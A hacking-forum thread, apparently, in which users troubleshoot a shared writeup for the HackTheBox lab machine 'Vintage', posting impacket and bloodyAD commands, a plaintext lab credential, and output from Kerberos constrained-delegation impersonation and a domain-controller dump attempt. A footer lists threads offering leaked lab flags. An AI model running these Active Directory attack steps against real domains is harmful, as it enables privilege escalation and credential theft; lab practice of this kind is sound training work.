Vintage.HTB - Full Writeup - Root & User Flag - VINTAGE.HTB
by 0bfusc8 - Tuesday December 3, 2024 at 06:49 AM
#11
Thanks for the alternative root, appreciated.
Reply
#12
why the 
impacket-getTGT vintage.htb/svc_sql:Zer0the0ne

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

anyone can help with this prob
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply
#13
(12-09-2024, 02:41 AM)Kontoru123 Wrote: why the 
impacket-getTGT vintage.htb/svc_sql:Zer0the0ne

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

anyone can help with this prob

you need to activate the account with bloodyad
Reply
#14
hmmm I am almost sure I did this the other day now for some reason is not working Cry
I am sure I renable user
2024/12/11 05:41:15 >  [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
then I continue:

[*]Saving ticket in C.Neri_adm.ccache [+] svc_sql added to delegatedadmins Impacket v0.11.0 - Copyright 2023 Fortra [*]Saving ticket in svc_sql.ccache Impacket v0.11.0 - Copyright 2023 Fortra [*]Impersonating L.Bianchi_adm /usr/bin/getST.py:321: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() /usr/bin/getST.py:408: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*]Requesting S4U2self [-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Probably user svc_sql does not have constrained delegation permisions or impersonated user does not exist Impacket v0.11.0 - Copyright 2023 Fortra [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user

anyone getting similar issue? how did you bypass tx.
Reply
#15
(12-11-2024, 04:42 AM)rebelhex2 Wrote: hmmm I am almost sure I did this the other day now for some reason is not working Cry
I am sure I renable user
2024/12/11 05:41:15 >  [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
then I continue:

[*]Saving ticket in C.Neri_adm.ccache [+] svc_sql added to delegatedadmins Impacket v0.11.0 - Copyright 2023 Fortra [*]Saving ticket in svc_sql.ccache Impacket v0.11.0 - Copyright 2023 Fortra [*]Impersonating L.Bianchi_adm /usr/bin/getST.py:321: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() /usr/bin/getST.py:408: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*]Requesting S4U2self [-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Probably user svc_sql does not have constrained delegation permisions or impersonated user does not exist Impacket v0.11.0 - Copyright 2023 Fortra [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user

anyone getting similar issue? how did you bypass tx.

did you follow all steps that came before?
Reply
#16
(12-11-2024, 06:55 AM)0bfusc8 Wrote:
(12-11-2024, 04:42 AM)rebelhex2 Wrote: hmmm I am almost sure I did this the other day now for some reason is not working Cry
I am sure I renable user
2024/12/11 05:41:15 >  [+] VALID LOGIN: svc_sql@vintage.htb:Zer0the0ne
then I continue:

[*]Saving ticket in C.Neri_adm.ccache [+] svc_sql added to delegatedadmins Impacket v0.11.0 - Copyright 2023 Fortra [*]Saving ticket in svc_sql.ccache Impacket v0.11.0 - Copyright 2023 Fortra [*]Impersonating L.Bianchi_adm /usr/bin/getST.py:321: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() /usr/bin/getST.py:408: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).   now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [*]Requesting S4U2self [-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database) [-] Probably user svc_sql does not have constrained delegation permisions or impersonated user does not exist Impacket v0.11.0 - Copyright 2023 Fortra [-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user

anyone getting similar issue? how did you bypass tx.

did you follow all steps that came before?

I am very sure I did, using the new way you posted, with svc_sql account, I am familiar with all the tools, if there is no need for time sync that is usually what I have to fix, so im puzzle, I made a small bash script with the steps to not make typos, after work I will try to reset the box if you can't think on why this issue.
tx for the reply.
Reply
#17
is this hard?, becaus i want try it
Ban reason: Leeching | http://raiddfzn73ir6iyxlf7nwytnujiflddog...an-Appeals if you feel this is incorrect. (Permanent)
Reply
#18
OK I figure out what I was doing wrong after some RTFM I am not sure if you forgot or there was another way but I had to add this step:
export KRB5CCNAME=C.Neri.ccache bloodyAD -k --host dc01.vintage.htb -d vintage.htb set object 'svc_sql' servicePrincipalName -v 'cifs/dc02.htb'
this is right before grabbing user or after either way is needed to be run under C.Neri then everything else works fine.
I was puzzle because I have been doing this for quite sometime, but because my time this month is limited decided to follow someone else's steps for once, but at the end I got bloodhound out and started to review each step until I found my problem.

Thanks either way!
:hugs:
Reply
#19
(12-13-2024, 05:58 PM)rebelhex2 Wrote: OK I figure out what I was doing wrong after some RTFM I am not sure if you forgot or there was another way but I had to add this step:
export KRB5CCNAME=C.Neri.ccache bloodyAD -k --host dc01.vintage.htb -d vintage.htb set object 'svc_sql' servicePrincipalName -v 'cifs/dc02.htb'
this is right before grabbing user or after either way is needed to be run under C.Neri then everything else works fine.
I was puzzle because I have been doing this for quite sometime, but because my time this month is limited decided to follow someone else's steps for once, but at the end I got bloodhound out and started to review each step until I found my problem.

Thanks either way!
:hugs:

thanks for your honest review, to be fair i knew the same could be achieved with adding spn but the method i used before doing the writeup didnt rely on it, when i wrote the writeup i mustve got something mixed up - congrats on pwning the box. Smile
Reply
#20
thanks mate, we'll see Cool Cool
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 24 6,789 07-12-2026, 04:10 AM
Last Post: cookky1
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 360 94,372 03-28-2026, 09:28 AM
Last Post: catsweet
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 597 95,520 03-27-2026, 10:54 PM
Last Post: w3soul
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 12,078 03-27-2026, 07:22 PM
Last Post: stn
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 4,678 03-27-2026, 06:14 PM
Last Post: vlxw



 Users browsing this thread: 1 Guest(s)